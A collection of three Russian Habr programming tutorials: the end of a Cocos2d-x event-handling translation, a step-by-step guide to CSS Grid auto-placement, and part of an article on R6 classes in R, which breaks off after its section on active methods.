**Scene Graph Priority** — это указатель на Node-объект. Слушатели событий, чьи узлы имеют более высокое значение z-прядка(которые рисуются сверху), получают события прежде, чем слушатели, чьи узлы имеют более низкие значения z-порядка(которые рисуются снизу). Это гарантирует, что события касания получат передние элементы, как и следовало ожидать.
Помните **граф сцены**? Когда мы говорили об этой диаграмме?
При использовании **Scene Graph Priority** вы фактически проходите это дерево в обратную сторону… **I**, **H**, **G**, **F**, **E**, **D**, **C**, **B**, **A**. Если сработает событие, **H** заметит это и либо **поглотит** его (подробнее об этом ниже), либо пропустит дальше к **I**. Тоже самое с **I**, он либо потребит действие, либо пропустит его дальше к **G**, и так далее.
События касания
---------------
**События касания** — самые важные события в мобильном гейминге. Они легки в создании и предоставляют гибкую функциональность. Давайте уточним, что такое событие касания. Когда вы дотрагиваетесь до экрана вашего мобильного девайса, он воспринимает касание, смотрит где вы прикоснулись и решает, на что вы нажали. Затем, вы получаете ответ. Возможно, вы коснулись не активного объекта, а чего-то под ним. Событиям касания, обычно, присваивается приоритет, а отвечает событие с наивысшим приоритетом.
Как создать базовый слушатель события касания:
```
// Создание "одиночного" слушателя событий касания
// (обрабатывается одно касание за раз)
auto listener1 = EventListenerTouchOneByOne::create();
// срабатывает при нажатии
listener1->onTouchBegan = [](Touch* touch, Event* event){
// ваш код
return true; // Если вы его приняли
};
// срабатывает при перемещении касания
listener1->onTouchMoved = [](Touch* touch, Event* event){
// ваш код
};
// срабатывает при отпускании
listener1->onTouchEnded = [=](Touch* touch, Event* event){
// ваш код
};
// Добавляем слушатель
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener1, this);
```
Как вы могли заметить, существуют 3 отдельных действия, которые вы можете использовать для слушателя касаний. Каждое из них вызывается при определенных условиях.
**onTouchBegan** — срабатывает при нажатии.
**onTouchMoved** — срабатывает при перемещении касания.
**onTouchEnded** — срабатывает при отпускании.
Поглощение событий
------------------
Когда у вас есть слушатель и вы хотите чтобы объект принял поданное событие, вы должны **поглотить** его. Другими словами, вы **принимаете** его, чтобы оно не прошло дальше, к другим объектам с более низким приоритетом. Это легко реализовать.
```
// Чтобы "поглотить" действие, возвращаем true
// Метод onTouchBegan поглотит действие касания,
// не позволяя другим слушателям использовать его
listener1->setSwallowTouches(true);
// Также вы должны вернуть true в onTouchBegan()
listener1->onTouchBegan = [](Touch* touch, Event* event){
// ваш код
return true;
};
```
Создание событий клавиатуры
---------------------------
Для компьютерных игр, вам может понадобится использование клавиатуры. Cocos2d-x поддерживает клавиатуру. Как и события касания, клавиатурные события легко создаются.
```
// создание слушателя клавиатурных событий
auto listener = EventListenerKeyboard::create();
listener->onKeyPressed = CC_CALLBACK_2(KeyboardTest::onKeyPressed, this);
listener->onKeyReleased = CC_CALLBACK_2(KeyboardTest::onKeyReleased, this);
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener, this);
// реализация прототипа callback функции
void KeyboardTest::onKeyPressed(EventKeyboard::KeyCode keyCode, Event* event)
{
log("Key with keycode %d pressed", keyCode);
}
void KeyboardTest::onKeyReleased(EventKeyboard::KeyCode keyCode, Event* event)
{
log("Key with keycode %d released", keyCode);
}
```
Создание событий акселерометра
------------------------------
Некоторые мобильные устройства оснащены акселерометром. Акселерометр — это датчик, который измеряет перегрузку, а также изменения направления. Используется, например, когда необходимо перемещать телефон из стороны в сторону, для имитации балансирующего действия. Cocos2d-x также поддерживает эти события. Перед использованием событий акселерометра, вам необходимо подключить их.
```
Device::setAccelerometerEnabled(true);
```
```
// создание слушателя
auto listener = EventListenerAcceleration::create(CC_CALLBACK_2(
AccelerometerTest::onAcceleration, this));
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener, this);
// реализация прототипа callback функции
void AccelerometerTest::onAcceleration(Acceleration* acc, Event* event)
{
// Processing logic here
}
```
Создание событий мыши
---------------------
Как всегда, Cococ2d-x поддерживает события мыши.
```
_mouseListener = EventListenerMouse::create();
_mouseListener->onMouseMove = CC_CALLBACK_1(MouseTest::onMouseMove, this);
_mouseListener->onMouseUp = CC_CALLBACK_1(MouseTest::onMouseUp, this);
_mouseListener->onMouseDown = CC_CALLBACK_1(MouseTest::onMouseDown, this);
_mouseListener->onMouseScroll = CC_CALLBACK_1(MouseTest::onMouseScroll, this);
_eventDispatcher->addEventListenerWithSceneGraphPriority(_mouseListener, this);
void MouseTest::onMouseDown(Event *event)
{
// для демонстрации события...
EventMouse* e = (EventMouse*)event;
string str = "Mouse Down detected, Key: ";
str += tostr(e->getMouseButton());
}
void MouseTest::onMouseUp(Event *event)
{
// для демонстрации события...
EventMouse* e = (EventMouse*)event;
string str = "Mouse Up detected, Key: ";
str += tostr(e->getMouseButton());
}
void MouseTest::onMouseMove(Event *event)
{
// для демонстрации события...
EventMouse* e = (EventMouse*)event;
string str = "MousePosition X:";
str = str + tostr(e->getCursorX()) + " Y:" + tostr(e->getCursorY());
}
void MouseTest::onMouseScroll(Event *event)
{
// для демонстрации события...
EventMouse* e = (EventMouse*)event;
string str = "Mouse Scroll detected, X: ";
str = str + tostr(e->getScrollX()) + " Y: " + tostr(e->getScrollY());
}
```
Создание пользовательских событий
---------------------------------
Типы событий, описанных выше, определены системой, эти события (такие как касание экрана, нажатие клавиши и др.) обрабатываются системой автоматически. К тому же, вы можете сделать свое собственное событие, которое будет обрабатываться не системой, а вашим кодом.
```
_listener = EventListenerCustom::create("game_custom_event1", [=](EventCustom* event){
std::string str("Custom event 1 received, ");
char* buf = static_cast(event->getUserData());
str += buf;
str += " times";
statusLabel->setString(str.c\_str());
});
\_eventDispatcher->addEventListenerWithFixedPriority(\_listener, 1);
```
Слушатель пользовательского события был определен с методом реакции и добавлен к диспетчеру событий. Как будет вызываться пользовательское событие? Смотрите далее:
```
static int count = 0;
++count;
char* buf[10];
sprintf(buf, "%d", count);
EventCustom event("game_custom_event1");
event.setUserData(buf);
_eventDispatcher->dispatchEvent(&event);
```
В примере выше, мы создали объект **EventCustom** и задали значение **UserData**. Затем, событие вызывается вручную, с помощью *\_eventDispatcher->dispatchEvent(&event)*. Это запускает событие, определенное ранее. Обработчик событий вызывается непосредственно, поэтому в качестве параметра UserData, может использоваться локальная переменная стека.
Регистрация событий в диспетчере
--------------------------------
Зарегистрировать событие просто. Вот пример для слушателя событий касания:
```
// Добавляем слушателя
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener1,
sprite1);
```
Важно отметить, что событие касания может быть зарегистрировано только на один объект. Если вам необходимо использовать один слушатель для множества объектов, для этого необходимо использовать **clone()**.
```
// Добавляем слушателя
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener1,
sprite1);
// Добавляем того же слушателя к другому объекту
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener1->clone(),
sprite2);
_eventDispatcher->addEventListenerWithSceneGraphPriority(listener1->clone(),
sprite3);
```
Удаление событий из диспетчера
------------------------------
Мы можем его удалить из диспетчера, следующим методом:
```
_eventDispatcher->removeEventListener(listener);
```
Хотя они могут казаться особенными, встроенные Node-объекты используют диспетчер событий тем же самым методом, о котором мы говорили. Имеет смысл, не так ли? Возьмем Menu для примера. Когда вы кликаете по элементам меню, вызывается событие. Слушатели Node-объектов также просто удалить.
От переводчика
--------------
Вот мы и закончили с основными компонентами движка! Следующие на очереди главы, в основном, очень короткие, а большую часть в них занимает один лишь пример кода. Я считаю, что неуместно будет выкладывать их по одной на Хабр. Совесть мне этого не позволит. Миксовать темы тоже не очень хорошая идея.
Но все же, я планирую опубликовать еще сколько-нибудь уроков, которые уже не будут чистыми переводами. Ниже я оставлю опрос, чтобы узнать что вам будет интересно. Также, можете предлагать свои варианты в комментариях. | https://habr.com/ru/post/341066/ | null | ru | null |
# Поэтапное руководство по алгоритму автоматического размещения из CSS Grid
*Предлагаем вашему вниманию перевод статьи о [методике](https://www.sitepoint.com/a-step-by-step-guide-to-the-auto-placement-algorithm-in-css-grid/), которая будет полезна разработчикам, использующим в своей работе CSS.*
В этом руководстве мы рассмотрим все этапы алгоритма автоматического размещения элементов из модуля CSS Grid Layout. Каждый этап управляется с помощью свойства `grid-auto-flow`. В своих других статьях “[Introducing the CSS Grid Layout](https://www.sitepoint.com/introducing-the-css-grid-layout/)” и “[Seven Ways You Can Place Elements Using CSS Grid Layout](https://www.sitepoint.com/seven-ways-you-can-place-elements-using-css-grid-layout/)” автор рассмотрел спецификацию CSS Grid и проанализировал, как с помощью Grid можно позиционировать элементы на веб-странице. Однако в этих материалах в сетке явным образом задавалась позиция единственного элемента. Остальные элементы размещались с помощью некоего алгоритма.
Теперь разберем этот алгоритм. И когда в следующий раз вы обнаружите, что элемент оказался не там, где нужно, вам не придётся чесать затылок и удивляться, как так произошло.
Основные принципы
-----------------
Прежде чем углубляться в подробности, рассмотрим некоторые основные принципы.
* **Анонимные элементы сетки (Anonymous grid items)**. Если поместить текст напрямую в контейнер сетки, без обёртывания в какой-либо тег, то он превратится в анонимный элемент сетки. К таким элементам нельзя применять стили, но при этом они наследуют правила стилей от родительских контейнеров. Обратите внимание, что white space внутри контейнера сетки не приводит к созданию анонимного элемента.
* **Значение сеточного интервала (Value of grid spans)**. В отличие от позиционирования в сетке, алгоритм не содержит отдельных правил определения значения интервала в сетке. Если значение не задано, то по умолчанию оно равно 1 (элемент занимает только свою ячейку).
* **Неявная сетка (Implicit grid)**. Сетка, построенная на основе значений свойств `grid-template-rows`, `grid-template-columns` и `grid-template-areas`, называется **явной сеткой (explicit grid)**. Если теперь определить позицию элемента так, чтобы он находился вне границ явной сетки, то браузер сгенерирует дополнительные строки сетки, которые будут захватывать этот элемент. Эти строки в совокупности с явной сеткой формируют неявную сетку. Подробнее об этом можно почитать в “[Where Things Are at in the CSS Grid Layout Working Draft](https://www.sitepoint.com/where-things-are-at-in-the-css-grid-layout-working-draft/)”. Алгоритм авторазмещения также может стать причиной появления дополнительных столбцов или рядов в неявной сетке.
Теперь нужно отметить вот что. Значение по умолчанию свойства `grid-auto-flow`, с помощью которого мы управляем алгоритмом, равно `row`. Это же значение будет использоваться в последующем объяснении работы алгоритма. Если же явно задаете свойству значение `column`, то не забудьте в этом объяснении заменить все экземпляры термина row на column. К примеру, «*Размещение элементов с помощью настройки row-позиции, а не column*» превратится в «*Размещение элементов с помощью настройки column-позиции, а не row*».
Теперь активируйте в своём любимом современном браузере [возможность использования экспериментальных функций](http://caniuse.com/#search=css%20grid), и рассмотрим подробности работы алгоритма при построении макета.
Этап #1: Генерирование анонимных элементов сетки
------------------------------------------------
Первое, что делает алгоритм, когда пытается поместить все элементы в сетку, это создаёт анонимные элементы. Как упоминалось выше, вы не можете применять стили к таким элементам, потому что просто не к чему их применять.
Следующий код генерирует анонимный элемент сетки из межэлементного текста (inter-element text):
```
1
Anonymous Item
2
3
4
5
```
В этом примере нужно отметить ещё и то, что алгоритм игнорирует CSS float’ы, применённые к div 2 и div 4.
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/ygXeBr/)
Этап #2: Размещение элементов на явно указанные позиции
-------------------------------------------------------
Для этого и следующих нескольких этапов мы воспользуемся сеткой из девяти разных элементов.
```
A
B
C
D
E
F
G
H
I
```
Первыми в сетку будут помещены элементы, для которых **явно указаны позиции**. В нашем случае пусть это будут элементы А и В. Пока что проигнорируем все остальные. Зададим позиции для А и В:
```
.a {
grid-area: 1 / 2 / 2 / 3;
}
.b {
grid-area: 2 / 1 / 4 / 3;
}
```
Алгоритм размещает A и B в соответствии с их значениями свойства `grid-area`:
* На основе первого и второго значений `grid-area` задаёт для обоих элементов позицию левого верхнего угла.
* На основе третьего и четвёртого значений `grid-area` задаёт для обоих элементов позицию правого нижнего угла.
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/KaqVVY/)
Этап #3: Размещение элементов с помощью настройки row-позиции, а не column
--------------------------------------------------------------------------
Теперь алгоритм размещает элемент с **явно указанными row-позициями** в свойствах `grid-row-start` и `grid-row-end`.
Зададим значение grid-row для элементов C и D:
```
.c {
grid-row-start: 1;
grid-row-end: 3;
}
.d {
grid-row-start: 1;
grid-row-end: 2;
}
```
Чтобы определить column-позицию, которая не задана явным образом, алгоритм действует по одному из двух сценариев в соответствии с **режимом размещения (packing mode)**:
* Разреженное размещение (sparse packing) (по умолчанию).
* Плотное размещение (dense packing).
Разреженное размещение на этапе #3
----------------------------------
Это поведение по умолчанию. Начальная строка столбца (column-start line) нашего элемента получит минимальный возможный индекс строки (line index). Так мы избежим взаимного наложения пространства для текущего элемента и ячеек, уже занятых другими элементами.
Начальная строка столбца также должна идти после элемента, уже размещённого в том же ряду **на этом этапе**. Подчеркнём: **на** этом этапе, а **не до** этого этапа.
Рассмотрим на примере: элемент D не перемещался влево от А, даже при том, что он мог бы туда поместиться без каких-либо наложений. Дело в том, что элементы с **явно заданной row-позицией, а не column-**, алгоритм не размещает **перед другим, аналогично позиционированным в данном ряду элементом** (в нашем примере — С). Если у элемента С убрать значения grid-row, тогда D переместится влево от А.
Иными словами, элемент D, у которого явно задана row-позиция, а не column, может быть помещён перед А, но только в том случае, если этому не мешает С. А в данном случае он мешает, потому что у С, как и у D, определена row-позиция, а не column, и он находится в том же ряду, что и D.
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/BpZLNV/)
Плотное размещение на этапе #3
------------------------------
Если вам нужно заполнить элементом D пустое место перед A, то придётся присвоить свойству `grid-auto-flow` значение `row dense`.
```
.container {
grid-auto-flow: row dense;
}
```
В этом случае начальная строка столбца снова получит минимальный возможный индекс, чтобы не было взаимных наложений с другими элементами. Но если в ряду будет пустое место, куда наш элемент может поместиться без наложений, то он будет туда помещён без учёта предыдущего элемента из того же ряда и с теми же значениями позиционирования (в нашем примере — С).
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/LxLbBM/)
Этап #4: Определение количества столбцов в неявной сетке
--------------------------------------------------------
Далее алгоритм пытается определить количество столбцов в неявной сетке. Это происходит так:
* Алгоритм берёт количество столбцов в явной сетке.
* Затем проходит по всем элементам с заданной column-позицией и добавляет столбцы в начало и конец явной сетки, чтобы охватить все элементы.
* Потом алгоритм проходит по всем элементам без заданной column-позиции. Если самое большое значение интервала (span) у одного из них оказывается больше ширины неявной сетки, то алгоритм добавляет столбцы в конце, чтобы охватить этот интервал.
Этап #5: Размещение оставшихся элементов
----------------------------------------
К данному моменту алгоритм уже разместил все элементы, чьи позиции явно определены, а также элементы с известными row-позициями. Теперь он начинает размещать в сетке оставшиеся элементы.
Но прежде чем рассматривать этот процесс, введём новый термин: **курсор авторазмещения (auto-placement cursor)**. Это текущая точка вставки в сетку, определяемая пересечением пары координат — ряда и столбца. Изначально курсор помещается в точку пересечения начальных ряда и столбца неявной сетки.
Напомним, что позиционирование элементов зависит от режима размещения (packing mode), задаваемого свойством `grid-auto-flow`.
Разреженное размещение на этапе #5
----------------------------------
По умолчанию оставшиеся элементы размещаются в **разреженном режиме**. Вот как это происходит.
Если для элемента не задана позиция ни по одной оси:
* Алгоритм инкрементирует column-позицию курсора до тех пор:
а) пока не возникнет наложения между текущим элементом и ранее размещёнными,
б) либо пока сумма «значение column-позиции курсора + значение column-интервала элемента» не превысит количество столбцов неявной сетки.
* Если алгоритм находит позицию без наложений, то присваивает позиции курсора значения `row-start` и `column-start` вставляемого элемента. В противном случае алгоритм увеличивает `row-позицию` на 1, `column-start` присваивает значение начальной строки в неявной сетке, и повторяет предыдущий шаг.
Если для элемента задана column-позиция:
* Значение column-позиции курсора присваивается значению строки `column-start` элемента. Если значение новой позиции получается меньше, чем предыдущая column-позиция курсора, то row-позиция увеличивается на 1.
* Далее row-позиция увеличивается на 1 до тех пор, пока не будет достигнуто значение, при котором элемент не накладывается ни на одну из уже занятых ячеек. При необходимости в неявную сетку могут добавляться дополнительные ряды. Теперь значение начальной строки ряда элемента присваивается row-позиции курсора, а конечная строка ряда элемента задаётся в соответствии с его интервалом.
Чтобы было понятнее, рассмотрим на примере.
Размещение элементов E и F, когда не заданы позиции ни по одной оси
-------------------------------------------------------------------
При обработке элемента E, у которого **не заданы ни column-, ни row-позиция**, для курсора задаются значения row 1 и column 1. Элемент E занимает только одну ячейку, он может поместиться в левый верхний угол без наложений. То есть алгоритм просто помещает **элемент E на позицию row 1 / column 1**.
Следующий элемент без заданных позиций по обеим осям — F. Значение column-позиции курсора увеличивается до 2. Но позиция row 1 / column 2 уже занята элементом А. Алгоритму приходится снова увеличивать значение column-позиции, пока оно не достигнет 4. Больше столбцов нет, и тогда row-позиция курсора увеличивается на 1, а column-позиция сбрасывается до 1: row 2 / column 1. Алгоритм снова начинает увеличивать column-позицию на 1, пока не дойдёт до 4. Место с координатами **row 2 / column 4 пока что свободно и может быть занято элементом F**. Алгоритм помещает его и переходит к следующему элементу.
Размещение элементов G и H, когда задана column-позиция
-------------------------------------------------------
Начнём с G. Значение column-позиции курсора определяется таким же, как свойство `grid-column-start` элемента G — 3. Поскольку они меньше, чем предыдущее значение column (4), то row-позиция увеличивается на 1. То есть становится row 3 / column 3. Пространство с такими координатами в данный момент свободно, и G может быть туда помещён без наложений, что алгоритм и делает. Затем всё то же самое повторяется для элемента H.
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/bgREMJ/)
Плотное размещение на этапе #5
------------------------------
Когда свойству `grid-auto-flow` присваивается значение `row dense`, выполняется иной порядок действий. Если вставляемый элемент не имеет определённой позиции, то текущая позиция курсора определяется в соответствии со строкой на пересечении начальных ряда и столбца неявной сетки, **до того**, как будет определена позиция элемента.
Элемент I помещён слева от H, потому что позиция курсора **сбрасывается на строку, находящуюся на пересечении начальных ряда и столбца неявной сетки**, вместо того чтобы начинать с последнего размещённого элемента. Алгоритм ищет подходящую позицию без наложений, находит место слева от H и помещает там элемент.
→ [Демо на CodePen](http://codepen.io/SitePoint/pen/NdgxeQ/)
Заключение
----------
В этой статье мы прошли по всем этапам работы алгоритма автоматического размещения из модуля CSS Grid Layout. Этот алгоритм управляется с помощью свойства `grid-auto-flow`.
Попробуйте сами вычислить последнюю позицию разных элементов из разных макетов, чтобы лучше понять работу алгоритма. | https://habr.com/ru/post/326098/ | null | ru | null |
# ООП в языке R (часть 2): R6 классы
В прошлой [публикации](https://habr.com/ru/post/453964/) мы разобрали S3 классы, которые являются наиболее популярными в языке R.
Теперь разберёмся с R6 классами, которые максимально приближённые к классическому объектно ориентированному программированию.
Содержание
==========
*Если вы интересуетесь анализом данных возможно вам будут интересны мои [telegram](https://t.me/R4marketing) и [youtube](https://www.youtube.com/R4marketing/?sub_confirmation=1) каналы. Большая часть контента которых посвящены языку R.*
1. [Введение](#vvedenie)
2. [Правила именования](#pravila-imenovaniya)
3. [Создаём собственный класс](#sozdayom-sobstvennyy-klass)
4. [Цепочка методов](#cepochka-metodov)
5. [Методы $initialize() и $print()](#metody-initialize-i-print)
6. [Добавление новых свойств и методов в класс после его определение, метод $set()](#dobavlenie-novyh-svoystv-i-metodov-v-klass-posle-ego-opredelenie-metod-set)
7. [Наследование](#nasledovanie)
8. [Приватные методы и свойства](#privatnye-metody-i-svoystva)
9. [Активные методы](#aktivnye-metody)
10. [Финализатор класса](#finalizator-klassa)
11. [Добавление R6 классов в пакет](#dobavlenie-r6-klassov-v-paket)
12. [Полезные ссылки](#poleznye-ssylki)
13. [Заключение](#zaklyuchenie)
Введение
========
В этой статье мы не будем останавливать на определении термина объектно — ориентированное программирование, и на его принципах, т.е. наследовании, инкапсуляции и полиморфизме.
R6 будут наиболее понятны пользователям Python, и тем кто привык к классическому ООП. В отличие от S3 классов, у R6 методы привязаны к самим объектам, в то время как у S3 всё строится на обобщённых *(generic)* функциях.
Итак, всё-таки небольшой глоссарий по ООП я предоставлю:
* Класс — это шаблон, по которому мы можем создавать некоторые объекты. Например, классом может быть кот, собака, автомобиль и так далее.
* Экземпляр класса — если класс это шаблон, в нашем случае пусть это будет кот, то экземпляр класса это конкретный объект созданный по шаблону. Т.е. мы можем создать любое количество котов, по созданному ранее шаблону.
* Свойства класса — это переменные которые хранят информацию о каждом отдельном экземпляре класса, например кличка и порода кота.
* Методы класса — это функции которые хранятся внутри класса, ну к примеру кот может есть, играться и так далее, всё это будут его методы.
Для работы с R6 классами вам необходимо изначально установить и подключить одноимённый пакет `R6`.
```
install.packages("R6")
library(R6)
```
Правила именования
==================
Вам необязательно придерживаться данных правил, но они являются общепринятыми:
1. Имена классов задаются в `UpperCamelCase`.
2. Имена методов объектов, и его свойства задаются в `snake_case`.
Так же как и в Python, методы класса могут получить доступ к другим его методам и свойствам через конструкцию `self$method()`.
Создаём собственный класс
=========================
Из пакета `R6` вы будете использовать всего одну функцию `R6Class()`. Основные её аргументы:
* `classname` — имя класса, должно соответствовать переменной, в которую вы записываете класс;
* `public` — принимает список (`list()`) с публичными свойствами и методами класса.
```
library(R6)
# создаём класс Cat
Cat <- R6Class(classname = "Cat",
public = list(
name = "Tom",
breed = "Persian",
age = 3,
rename = function(name = NULL) {
self$name <- name
invisible(self)
},
add_year = function(ages = 1) {
self$age <- self$age + ages
invisible(self)
}
)
)
```
Мы создали класс `Cat`, с тремя свойствами `name`, `breed` и `age`, и двумя методами `$rename()` и `$add_year()`. Метод `$rename()` меняет свойство `name`, как я писал ранее к свойству метод может обращаться через `self$name`, а метод `$add_year()` увеличивает возраст кота на заданное количество лет.
Для создания экземпляра класса необходимо использовать встроенный метод `$new()`:
```
# инициализируем объект класса Cat
tom <- Cat$new()
# смотрим результат
tom
```
```
Public:
add\_year: function (ages = 1)
age: 3
breed: Persian
clone: function (deep = FALSE)
name: Tom
rename: function (name = NULL)
```
Используем метод `$rename()`:
```
# используем метод rename
tom$rename('Tommy')
# смотрим результат
tom
```
```
Public:
add\_year: function (ages = 1)
age: 3
breed: Persian
clone: function (deep = FALSE)
name: Tommy
rename: function (name = NULL)
```
Как видите объекты созданные с помощью `R6` классов меняют свои компоненты на лету, т.е. нет необходимости создавать копии этих объектов.
Т.к. мы создали класс с публичными методами и свойствами то мы имеем к ним доступ вне класса, и соответственно можем их изменять.
```
# меняем свойство
tom$name <- 'Tom'
# смотрим результат
tom
```
```
Public:
add\_year: function (ages = 1)
age: 3
breed: Persian
clone: function (deep = FALSE)
name: Tom
rename: function (name = NULL)
```
Цепочка методов
===============
Если вы обратили внимание, то при создании методов мы всегда скрываем объект `self` с помощью оператора `invisible(self)`. Это делается для того, что бы мы могли использовать цепочку методов:
```
# используем цепочку методов
tom$add_year(1)$add_year(3)
# смотрим результат
tom
```
```
Public:
add\_year: function (ages = 1)
age: 7
breed: Persian
clone: function (deep = FALSE)
name: Tom
rename: function (name = NULL)
```
Опять же такой подход хорошо знаком пользователям Python и JavaScript.
Методы $initialize() и $print()
===============================
Важные методы, которые вы наверняка будете использовать при создании R6 классов это методы `$initialize()` и `$print()`.
Метод $initialize() переопределяет стандартное поведение метода `$new()`, т.е. используя его вы можете отдельно прокидывать в создаваемый экземпляр класса данные, например имя, породу и возраст кота.
`$print()` переопределяет метод печати объекта в консоли.
```
# создаём класс Cat
Cat <- R6Class(classname = "Cat",
public = list(
name = NA,
breed = NA,
age = 0,
initialize = function(name, breed, age) {
self$name <- name
self$breed <- breed
self$age <- age
},
print = function(...) {
cat(": \n")
cat(" Name: ", self$name, "\n", sep = "")
cat(" Age: ", self$age, "\n", sep = "")
cat(" Breed: ", self$breed, "\n", sep = "")
invisible(self)
},
rename = function(name = NULL) {
self$name <- name
invisible(self)
},
add\_year = function(ages = 1) {
self$age <- self$age + ages
invisible(self)
}
)
)
# создаём экземпляр класса
tom <- Cat$new(name = 'Tom',
breed = 'Scottish fold',
age = 1)
# смотрим результат
tom
```
```
:
Name: Tom
Age: 1
Breed: Scottish fold
```
Добавление новых свойств и методов в класс после его определение, метод $set()
==============================================================================
Даже после определения класса вы в любой момент можете добавить в него свойства или методы, используя метод `$set()` и указав уровень приватности.
Ниже приведён пример кода, в котором мы сначала создаём класс с основными методами, после чего через метод `$set()` добавляем методы `$rename()` и `$add_year()`.
```
# создаём класс Cat
Cat <- R6Class(classname = "Cat",
public = list(
name = NA,
breed = NA,
age = 0,
initialize = function(name, breed, age) {
self$name <- name
self$breed <- breed
self$age <- age
},
print = function(...) {
cat(": \n")
cat(" Name: ", self$name, "\n", sep = "")
cat(" Age: ", self$age, "\n", sep = "")
cat(" Breed: ", self$breed, "\n", sep = "")
invisible(self)
}
)
)
# добавляем метод rename
Cat$set( 'public',
'rename',
function(name = NULL)
{
self$name <- name
invisible(self)
})
# добавляем метод add\_year
Cat$set( 'public',
'add\_year',
function(ages = 1) {
self$age <- self$age + ages
invisible(self)
})
```
При этом, добавленные методы никак не изменят созданные до их добавления экземпляры класса, а будут распространяться лишь на те экземпляры класса, которые будут созданы после их добавления в класс.
Так же вы можете запретить переопределение методов класса, используя при его создании аргумент `lock_class = TRUE`. В дальнейшем это поведение можно изменить, и разблокировать класс методом `$unlock()`, и опять заблокировать методом `$lock()`.
```
# Создаём класс с блокировкой переопределения методов
Simple <- R6Class("Simple",
public = list(
x = 1,
getx = function() self$x
),
lock_class = TRUE
)
# При попытке переопределить метод мы получим ошибку
Simple$set("public", "y", 2)
# Разблокируем класс
Simple$unlock()
# Теперь мы можем переопределять существующие свойства и методы класса
Simple$set("public", "y", 2)
# Повторно блокируем класс
Simple$lock()
```
> Пример кода взят из [официальной документации](https://r6.r-lib.org/articles/Introduction.html#adding-members-to-an-existing-class) к пакету R6, автор Winston Chang
Наследование
============
R6 классы поддерживают механизм [наследования](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)), т.е. вы можете создавать супер классы и подклассы, которые будут наследовать от супер классов методы и свойства. При необходимости вы можете переопределять методы супер класса.
На изображении класс "Животные" является главным супер классом, его подклассом являются "Домашние животные" и "Дикие животные", т.е. они наследуют все свойства и методы класса (шаблона) животные, но могут их переопределять, а так же могут иметь свои дополнительные методы и свойства.
Далее мы создаём подклассы "Кот" и "Собака", для которых класс "Домашние животные" уже будет родительским, т.е. супер классом. Так же мы создаём классы "Олень" и "Медведь", для которых супер классом будет "Дикие животные".
Эту цепочку можно было продолжить породами котов, собак, оленей и медведей.
Для реализации [наследования](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) в R6 классах необходимо использовать аргумент `inherit`.
```
library(R6)
# создаём супер класс Cat
Cat <- R6Class(classname = "Cat",
public = list(
name = NA,
breed = NA,
age = 3,
initialize = function(name, breed, age) {
self$name <- name
self$breed <- breed
self$age <- age
},
rename = function(name = NULL) {
self$name <- name
invisible(self)
},
add_year = function(ages = 1) {
self$age <- self$age + ages
invisible(self)
}
)
)
# создаём подкласс ScottishCat
ScottishCat <- R6Class("ScottishCat",
inherit = Cat,
public = list(
breed = "Scottish Fold",
add_year = function() {
cat("Увеличили возраст ", self$name, " на 1 год", sep = "")
super$add_year(ages = 1)
},
initialize = function(name, age, breed = "Scottish Fold") {
self$name <- name
self$breed <- breed
self$age <- age
}
)
)
# создаём экземпляр класса
scottish <- ScottishCat$new(name = 'Arnold', age = 1)
# используем метод подкласса
scottish$add_year()
```
В данном примере мы создали супер класс `Cat`, и подкласс `ScottishCat`. В подклассе мы переопредели метод `$add_year()`, тем не менее, мы можем внутри подкласса использовать унаследованные от супер класса методы обращаясь к ним через `super$method()`.
Приватные методы и свойства
===========================
В аргумент `public` функции `R6Class()` мы передаём методы и свойства класса с общим доступом, т.е. эти методы и свойства доступны как внутри класса, так и за его пределами.
Так же вы можете создавать приватные свойства и методы, которые будут доступны исключительно внутри класса. Такие свойства и методы необходимо передавать в аргумент `private`, внутри класса доступ к приватным методам и свойствам осуществляется через `private$methode_name`.
```
library(R6)
# создаём класс
User <- R6Class('User',
public = list(
name = NA,
initialize = function(name, password, credits = 100) {
self$name <- name
private$password <- password
private$credits <- credits
},
print = function(...) {
cat(": ", self$name, sep='')
},
get\_credits = function() {
cat(private$credits)
}
),
private = list(
password = NULL,
credits = NULL
)
)
# экземпляр класса
user\_1 <- User$new('Alex', 'secretpwd')
# метод который использует приватное свойство
user\_1$get\_credits()
```
```
100
```
В данном случае мы получили значение приватного свойства `credits` через специальный метод. Но если мы напрямую попробуем обратиться к данному свойству, то у нас ничего не получится:
```
# обращение к приватному свойству вне класса
user_1$credits
```
```
NULL
```
Активные методы
===============
Активные методы для пользователя выглядят как свойства, но при обращении к ним они выполняют заданную функцию.
При каждом обращении к активному методу будет выполняться определённая функция, это удобно к примеру для запуска генератора случайных чисел, или выбора случайного значения из вектора.
Давайте вернёмся к нашему коту, и напишем класс, в котором будет свойство `dictionary`, в котором будет вектор звуков, которые может воспроизводить кот. И активный метод `$say()`, который случайным образом будет выводить одну из заданных фраз.
```
library(R6)
# создаём класс Cat
Cat <- R6Class(classname = "Cat",
public = list(
name = NA,
breed = NA,
dictionary = NA,
initialize = function(name, breed, dictionary) {
self$name <- name
self$breed <- breed
self$dictionary <- dictionary
}
),
active = list(
say = function(value) {
if (missing(value)) {
return(paste0(self$name, ' say ', sample(self$dictionary, size = 1)))
} else {
self$dictionary <- value
}
}
)
)
# создаём экземпляр класса
cat <- Cat$new('Tom',
'Persian',
c('meow', 'mrrr', 'frrr'))
# запускаем активный метод
cat$say
```
```
[1] "Tom say meow"
```
